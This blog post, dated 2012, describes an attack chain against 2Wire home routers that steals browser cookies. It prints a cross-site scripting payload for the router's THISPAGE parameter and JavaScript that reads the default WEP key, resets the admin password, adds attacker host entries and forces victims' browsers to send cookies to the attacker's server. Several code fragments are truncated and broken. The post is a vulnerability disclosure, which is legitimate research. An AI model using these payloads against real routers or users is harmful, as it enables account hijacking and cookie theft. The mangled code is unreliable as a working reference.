Cookie Stealing By Router Pharming (2Wire)

Cookie Stealing By Router Pharming (2Wire)

Posted on June 07, 2012 by Pedro Joaquin

It is well known that SOHO routers are commonly vulnerable. In this post I will demonstrate how a series of vulnerabilities in 2Wire routers, when exploited sequentially may allow us to get cookies of almost any domain in scope.


The attack process would be as follows:

1. The victim visits a malicious page,

2. The web page performs router pharming redirecting subdomains to the attackers servers,

3. The web page forces the victim to perform requests to the subdomains,

4. The attacker receives the cookies on his server.


We use unexisting subdomains for two reasons. When using a subdomain, the browser does not have the IP in its cache, so no refreshing is necessary. And the second reason is that in case of any error the communication with the server is not lost.

2Wire routers have had many vulnerabilities published in the last few years. To perform this attack we will focus on the following:

1. Cross site scripting

2. Information disclosure (“magic url”)

3. Resetting the password with the default WEP


Some 2Wire routers have a Cross Site Scripting vulnerability on the variable THISPAGE of their web interface:</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>


Exploiting this vulnerability can get us in the same zone as the router and we can get access to its properties such as the source code of the pages of the router.

We include a script that allows us to read the source of another page in the router that is the information disclosure page, where we can find the default WEP key:


try {

    xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");

} catch(e) {

    xmlhttp = new XMLHttpRequest()



var info = xmlhttp.responseText;

var pass = "temporal";

var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);


Using this WEP key we can define a new admin password this way:"POST","/xslt");




Now that we have defined a new password we can get the admin's cookie:"GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);



As administrators we can add domains to the host list:

for (var i=0; i<dominios.length; i++) {





We force the victim to perform requests to the subdomains so we can get the cookies:

for (var i=0; i<dominios.length; i++) {


    document.write('<img src=http://'+dns+'>');



This complete attack can be automated and performed hidden from the user. In the following video you can see the attack on a visible way:


We must understand that 2Wire has issued patches for all of this vulnerabilities. But sometimes is not up to them to patch the devices, the ISP has to do it.


Latest Blog Entries

Belkin Wemo Switch NMap Scripts
Belkin Wemo Switch Smart Plug is a network controlled power outlet. The current firmware version does not requiere authentication to switch the power ON or OFF or to gather information such as nearby wireless networks. Two NMap scripts have been published

Downloading an Application's Entire Source Code Through an Exposed GIT Directory
Website administrators sometimes inadvertently leave an exposed .git directory, from which it is possible to download the entire source code of the web application using just wget and a common server misconfiguration.

credmap: The Credential Mapper
An overview of credmap, an open source penetration testing tool that automates the process of testing for credential reuse. It does so by testing supplied user credentials on known websites and verifies if the password has been reused on any of these.

Latest News

Blackhat EU 2015
Websec participated with two tools at the Blackhat, EU Arsenal held in Amsterdam, NL from the 10-13 of November, 2015. During this event, we introduced our brand new tool "credmap: The Credential Mapper" and also presented an amped-up version of Panoptic.

BSides Vancouver 2015
Websec is proud to announce that we will be attending the 3rd annual edition of BSides Vancouver, a local non-profit information security conference held in the heart of Vancouver, BC on March 16 and 17.